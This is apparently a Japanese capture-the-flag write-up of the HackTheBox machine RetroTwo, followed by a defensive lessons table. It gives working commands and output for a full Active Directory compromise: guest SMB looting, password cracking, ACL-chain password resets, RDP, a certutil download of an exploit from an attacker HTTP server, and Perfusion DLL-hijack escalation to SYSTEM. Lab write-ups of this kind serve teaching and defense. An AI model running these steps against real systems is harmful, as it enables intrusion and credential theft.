HackTheBox: RetroTwo — 全実行コマンド・実行結果レポート
Nmap スキャン
DC一式 + SMB guest
→
DC一式 + SMB guest
Public共有の staff.accdb
office2john+hashcat→class08
→
office2john+hashcat→class08
MS Access(Windows)でVBA抽出
ldapreader:ppYaVcB5R
→
ldapreader:ppYaVcB5R
BloodHound
FS01$→ADMWS01$→SERVICES ACLチェーン
→
FS01$→ADMWS01$→SERVICES ACLチェーン
pre-2000 FS01$ pwリセット
rpcサムイン→GenericWrite連鎖
→
rpcサムイン→GenericWrite連鎖
ldapreader が Remote Desktop Users に
RDP可能に
→
RDP可能に
RDP → user.txt ✓
→
Perfusion.exe
RpcEptMapper DLL hijack
→
RpcEptMapper DLL hijack
SYSTEM → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & AD検出
BASH
nmap -sV -sC -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,5722,9389 10.129.92.219
RESULT
PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap (Domain: retro2.vl) 445/tcp open microsoft-ds 464/tcp open kpasswd5 3268/tcp open globalcatLDAP 3389/tcp open ms-wbt-server (RDP) 9389/tcp open adws Service Info: Host: BLN01; OS: Windows Server 2008 R2
ℹ️
ドメイン
retro2.vl、DC名 BLN01。Windows Server 2008 R2 という
非常に古いAD環境で、pre-Windows 2000互換アクセスのような古典的な
不具合が残っている可能性が高い。
BASH
echo "10.129.92.219 retro2.vl BLN01.retro2.vl" | sudo tee -a /etc/hosts
SMB匿名/guest共有列挙
BASH
smbclient -L //10.129.92.219/ -N
RESULT
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk
C$ Disk
NETLOGON Disk
Public Disk
SYSVOL Disk
BASH
smbclient //10.129.92.219/Public -N -c 'ls' -c 'ls DB'
RESULT
staff.accdb A 876544 (Public\DB\staff.accdb)
🚨
Public 共有はguest(匿名)で読み取り可能。社内業務用と思われる
MS Access データベースファイルが置かれている。
PHASE 2
staff.accdb の取得・パスワードクラック・VBA抽出
accdbファイルの取得
BASH
smbclient //10.129.92.219/Public -N -c 'get "DB\staff.accdb" staff.accdb'
RESULT
getting file \DB\staff.accdb of size 876544 as staff.accdb (47.2 KiloBytes/sec)
⚠️
ファイルサイズは約856KB。VPN経由の回線状況によっては転送に20〜40秒程度かかることがあるため、
スクリプト等で自動化する場合はタイムアウトを短く設定しすぎない(30秒では不足するケースを実際に確認)。
office2john + hashcat でパスワードをクラック
BASH
office2john staff.accdb | tee staff.hash # ファイル名プレフィックス "staff.accdb:" を除去してからhashcatに渡す sed 's/^staff\.accdb://' staff.hash > staff_only.hash hashcat -m 9600 -a 0 staff_only.hash /usr/share/wordlists/rockyou.txt --quiet hashcat -m 9600 staff_only.hash --show --quiet
RESULT
$office$*2013*100000*256*16*5736cfcbb054e749a8f303570c5c1970*1ec683f4d8c4e9faf77d3c01f2433e56*7de0d4af8c54c33be322dbc860b68b4849f811196015a3f48a424a265d018235:class08
ℹ️
$office$*2013*... 形式(MS Office 2013互換の暗号化)。office2johnの出力は
「ファイル名:ハッシュ」形式のため、hashcatに渡す前にファイル名プレフィックスを
取り除いておく必要がある(そのまま渡すと “Token length exception” で弾かれる)。
Linuxでの復号は実質不可能 — Windows上のMS Accessで開く
NOTE
パスワード "class08" が分かっても、Linux上でこのファイルを復号して中身(特にVBAマクロ)
を取り出す実用的な方法は無い。試したこと:
- msoffcrypto-tool: "Unsupported file format" で失敗
(.accdb の暗号化ヘッダは "Standard ACE DB" で始まる独自形式であり、
Word/Excel等で使われる OLE/CFBF コンテナではないため、OLE前提の
msoffcrypto-tool はそもそも対応していない)
- mdb-tools (mdb-tables等): 暗号化されたファイルは読めない
公式ウォークスルーでも同様の結論に達しており、結局 Windows 上に MS Access を
インストールした環境でファイルを開き、パスワード "class08" を入力して復号。
左ペインに StaffMembers テーブル(中身は空)と1つの Module (VBAマクロ)が
見える。ライセンス未アクティベートのため編集はできないが、「エクスポート」で
テキストファイルとして保存することはできる。
RESULT (エクスポートしたVBAコード)
Attribute VB_Name = "Staff"
Option Compare Database
Sub ImportStaffUsersFromLDAP()
Dim strLDAP As String
Dim strUser As String
Dim strPassword As String
strLDAP = "LDAP://OU=staff,DC=retro2,DC=vl"
strUser = "retro2\ldapreader"
strPassword = "ppYaVcB5R"
...
回収した認証情報
ldapreader : ppYaVcB5R
PHASE 3
BloodHound調査 & AD ACLチェーンの悪用
BloodHound収集
BASH
bloodhound-python -u ldapreader -p 'ppYaVcB5R' -d retro2.vl -ns 10.129.92.219 -c All --zip # もしくは rusthound-ce --domain retro2.vl -u ldapreader -p ppYaVcB5R --zip
NOTE
BloodHoundで ldapreader を起点に Outbound Object Control を辿ると、以下の ACLチェーンが見つかる: ldapreader ─(直接権限なし)─ コンピュータアカウント FS01$ は Domain Computers のメンバーで GenericWrite → ADMWS01$ を持つ ADMWS01$ は AddMember/AddSelf → SERVICES グループへの権限を持つ SERVICES グループは Remote Desktop Users のメンバー(ネスト) つまり FS01$ のパスワードさえ分かれば、ADMWS01$ → SERVICES経由で ldapreader をRDP可能な状態に昇格できる。
FS01$ の pre-Windows 2000互換パスワードを突く
NOTE
FS01$ のようなコンピュータアカウントは、"Pre-Windows 2000 Compatible Access" が有効な古いドメインでは、作成直後のデフォルトパスワードが "サマカウント名を小文字化し末尾の$を除いたもの" になっていることがある。 FS01$ の場合 → "fs01"。
BASH
nxc smb 10.129.92.219 -u 'FS01$' -p fs01
RESULT
SMB [-] retro2.vl\FS01$:fs01 STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT
ℹ️
STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT は「パスワード自体は正しいが、
コンピュータアカウントなので通常ログオンはできない」ことを意味するエラーであり、
パスワードが有効であることの確認になる。SMBログオンはできなくても、
パスワード変更(RPC-SAMR)自体は実行できる。
FS01$ のパスワードを変更(RPC-SAMR)
BASH
impacket-changepasswd retro2.vl/'FS01$':fs01@10.129.92.219 -newpass Rogue1 -protocol rpc-samr
RESULT
[*] Changing the password of retro2.vl\FS01$
[*] Connecting to DCE/RPC as retro2.vl\FS01$
[*] Password was changed successfully.
FS01$(GenericWrite)で ADMWS01$ のパスワードを変更
BASH
net rpc password 'ADMWS01$' 'Rogue1' -U retro2.vl/'FS01$'%'Rogue1' -S 10.129.92.219
ℹ️
Windows Server 2008 R2環境では
unicodePwd 属性の直接書換よりも
net rpc password(Samba由来のSAMR経由パスワード設定)の方が確実に通る。
成功時は特にメッセージを返さず終了コード0で戻る。
ADMWS01$(AddMember)で ldapreader を SERVICES グループへ追加
BASH
bloodyAD --host 10.129.92.219 -d retro2.vl -u 'ADMWS01$' -p Rogue1 \ add groupMember SERVICES ldapreader
RESULT
[+] ldapreader added to SERVICES
BASH
# ネストメンバーシップの確認 bloodyAD --host 10.129.92.219 -d retro2.vl -u 'ADMWS01$' -p Rogue1 \ get object 'Remote Desktop Users' --attr member
RESULT
distinguishedName: CN=Remote Desktop Users,CN=Builtin,DC=retro2,DC=vl
member: CN=services,CN=Users,DC=retro2,DC=vl
✅
ACLチェーン完走!
SERVICES グループ自体が Remote Desktop
Users のメンバーなので、ldapreader は(直接ではなく)ネストメンバーシップ
経由で RDP ログオン権限を獲得した。
PHASE 4
RDPログイン & user.txt 取得
RDP接続(Native RDPセキュリティ層への配慮)
BASH
# GUIがある環境ならそのまま: xfreerdp3 /u:ldapreader /p:ppYaVcB5R /v:10.129.92.219 /d:retro2.vl \ /cert:ignore /sec:rdp # ヘッドレス環境(自動化)の場合は仮想ディスプレイ上で実行し、 # スクリーンショットで状態を確認しながら進める Xvfb :98 -screen 0 1280x800x24 & DISPLAY=:98 xfreerdp3 /u:ldapreader /p:ppYaVcB5R /v:10.129.92.219 /d:retro2.vl \ /cert:ignore /sec:rdp /drive:loot,/path/to/local/share /w:1280 /h:800 & sleep 10 DISPLAY=:98 import -window root screenshot.png
⚠️
Windows Server 2008 R2 の RDP は TLS/NLA必須のレガシーでない構成
(
nmap --script rdp-enum-encryptionで “Native RDP: SUCCESS” と出る)。
xfreerdpのデフォルト(TLS/NLAネゴシエーション)のままだと接続できないことがあるため、
/sec:rdp を明示して従来型のRDPセキュリティ層を強制するのが確実。
コンソールを開いて user.txt を探索
NOTE
ログイン後デスクトップでコンソール(cmd.exe)を開く。user.txt は一般的な Desktop配下ではなく、ドライブ直下 C:\user.txt に置かれていることがある (本マシンで実際に確認)。
BASH
C:\Users\ldapreader>type C:\user.txt
RESULT
5117f208a0d3c9d7d3e932f4c01ec5d8
user.txt — C:\user.txt (ldapreader)
5117f208a0d3c9d7d3e932f4c01ec5d8
ℹ️
GUI操作を自動化する場合、
/drive:loot,<ローカルディレクトリ> でRDPドライブ
リダイレクトしておくと、セッション内からtype C:\user.txt > \\tsclient\loot\out.txt
のようにファイルへリダイレクトするだけで、ローカル側のディレクトリに直接結果を書き出せる
(クリップボード経由より確実)。
PHASE 5
Perfusion.exe (RpcEptMapper DLL Hijack) の準備
脆弱性の背景
NOTE
Windows Server 2008 R2 の RpcEptMapper サービスには、サービス起動時に 特定のレジストリキー配下から読み込まれるDLLを、管理者権限が無い 一般ユーザーでも書き込める権限設定になっている脆弱性 (itm4n/Perfusion が実証したEoP手法) が存在する。対象のDLLを悪性のものにすり替えて サービスを再起動(またはトリガー)させると、SYSTEM権限でDLLが読み込まれ 任意コード実行につながる。
Perfusion.exe をソースからビルド
BASH
git clone --depth 1 https://github.com/itm4n/Perfusion.git cd Perfusion # mingw-w64 でクロスコンパイル (大文字includeのシム対応が必要) x86_64-w64-mingw32-g++ -shared -o PerfusionDll.dll PerfusionDll/PerfusionDll.cpp \ -lshlwapi -lrpcrt4 -static-libgcc -static-libstdc++ -municode cp PerfusionDll.dll Perfusion/ cd Perfusion printf '#include "resource.h"\nIDR_RCDATA1 RCDATA "PerfusionDll.dll"\n' > perfusion_res.rc x86_64-w64-mingw32-windres perfusion_res.rc -O coff -o perfusion_res.o x86_64-w64-mingw32-g++ -municode -o Perfusion.exe Perfusion.cpp perfusion_res.o \ -lwbemuuid -lole32 -loleaut32 -lstrmiids -static-libgcc -static-libstdc++
✅
PerfusionDll.dll を RCDATAリソースとしてPerfusion.exe本体に埋め込む構成
(単体のexeだけ転送すれば良い、DLLを別送りする必要がない)。
攻撃者側でHTTPサーバーを立て、RDPセッション内から取得
BASH
# Kali側 python3 -m http.server 8474 # RDPセッション内 (ldapreader) C:\Users\ldapreader>certutil.exe -urlcache -f http://<KaliIP>:8474/Perfusion.exe C:\Users\ldapreader\Desktop\Perfusion.exe
⚠️
certutil -urlcache -f はWindows標準ツールでファイルをダウンロードできる
古典的なLOLBin。ただしHTTPサーバーが実際に動いていないと
CertUtil: A connection with the server could not be established で静かに失敗する
ため、ダウンロード前にKali側のHTTPサーバーが確実に稼働しているか確認すること。
PHASE 6
Perfusion.exe 実行 → SYSTEM → root.txt
Perfusion.exe を実行
BASH
C:\Users\ldapreader\Desktop>Perfusion.exe -c cmd -i
RESULT
C:\Users\ldapreader\Desktop>whoami
nt authority\system
✅
SYSTEM昇格成功! RpcEptMapperサービスが悪性DLLを読み込み、SYSTEM権限の
新しいコンソールが起動する。
自動化向け: ワンライナーでroot.txtをリダイレクト経由で回収
BASH
# 対話なしで取得したい場合は -i の代わりに -c でコマンドを直接渡せる C:\Users\ldapreader\Desktop>Perfusion.exe -c "cmd /c type C:\Users\Administrator\Desktop\root.txt > \\tsclient\loot\root_out.txt" -i
ℹ️
root.txtの正確な配置場所が不明な場合は、
(for /f "delims=" %i in ('dir /s /b C:\root.txt C:\Users\Administrator\*root.txt 2^>nul') do @type "%i") > \\tsclient\loot\root_out.txt
のように複数候補パスを dir /s /b で検索してから type するワンライナーに
しておくと、配置場所を事前に特定できなくても確実に回収できる。
root.txt 取得
BASH
# ローカルの drive リダイレクト先ディレクトリで直接読める cat /path/to/local/share/root_out.txt
RESULT
cb462daa07d7539de053bb9308658759
root.txt — Administrator@retro2.vl
cb462daa07d7539de053bb9308658759
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — C:\user.txt (ldapreader)
5117f208a0d3c9d7d3e932f4c01ec5d8
root.txt — Administrator@retro2.vl
cb462daa07d7539de053bb9308658759
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| guest SMB共有での機密ファイル公開 | Public共有 / staff.accdb | 認証情報入りデータベースの漏洩 | Medium | 匿名/guestで読み取り可能な共有に、パスワード保護はされているものの業務DBがそのまま置かれていた |
| pre-Windows 2000互換アカウントの弱いデフォルトパスワード | コンピュータアカウント FS01$ | AD ACLチェーンの起点奪取 | Medium | samaccountnameから導出可能な初期パスワードが変更されないまま残っていた |
| AD ACLの誤設定(GenericWrite/AddMemberの連鎖) | FS01$→ADMWS01$→SERVICESグループ | 一般ユーザーの権限昇格(RDPアクセス獲得) | High | コンピュータアカウント同士の書込み権限とグループメンバー追加権限が連鎖し、最終的に任意ユーザーをRemote Desktop Usersへ昇格できた |
| RpcEptMapper サービスのDLLハイジャック(Perfusion) | Windows Server 2008 R2 RpcEptMapperサービス | ローカル一般ユーザー→SYSTEM権限昇格 | Critical | サービスが読み込むDLLを一般ユーザー権限で書き込み可能な設定ミスを突き、SYSTEM権限でコード実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + guest SMB共有列挙 | retro2.vl DC(BLN01)、Public共有のstaff.accdb発見 |
| 2 | 認証情報回収 | office2john+hashcat crack → MS Access(Windows)でVBA抽出 | ldapreader:ppYaVcB5R |
| 3 | AD ACL昇格 | BloodHound + pre-2000パスワード + rpcchangepwd/net rpc/bloodyAD | ldapreader が Remote Desktop Users へ |
| 4 | RDPログイン | xfreerdp3 (/sec:rdp) | user.txt |
| 5 | EoPツール準備 | Perfusion.exe クロスコンパイル + certutil転送 | RpcEptMapper DLL Hijackツール配置 |
| 6 | 権限昇格 | Perfusion.exe -c cmd -i | root.txt(SYSTEM) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 匿名/guestアクセス可能な共有に認証情報を含むファイルを配置 | guestアクセスを無効化し、共有フォルダは必要最小限のアクセス権のみ付与する。秘密情報をアプリケーションのソース/データファイルに平文または弱い保護で埋め込まない。 |
| pre-Windows 2000互換アクセスが有効なまま、コンピュータアカウントのデフォルトパスワードが未変更 | 「Pre-Windows 2000 Compatible Access」グループの使用を廃止し、コンピュータアカウント作成時のデフォルトパスワードを即座に変更する運用を徹底する。 |
| AD内のACL(GenericWrite/AddMember等)が連鎖し、一般ユーザーから管理相当のグループへ到達できる | BloodHound等で定期的にACLの誤設定を監査し、不要な書込み権限・グループ管理権限を棚卸しする。最小権限の原則を徹底する。 |
| OSが既にEoL(Windows Server 2008 R2)でEoPの脆弱なサービス設定が残存 | サポート切れOSの速やかな更新・退役。退役できない場合は、サービスが参照するDLL/レジストリパスの書込み権限を監査し、BUILTIN\Usersへの書込みを許可しない。 |

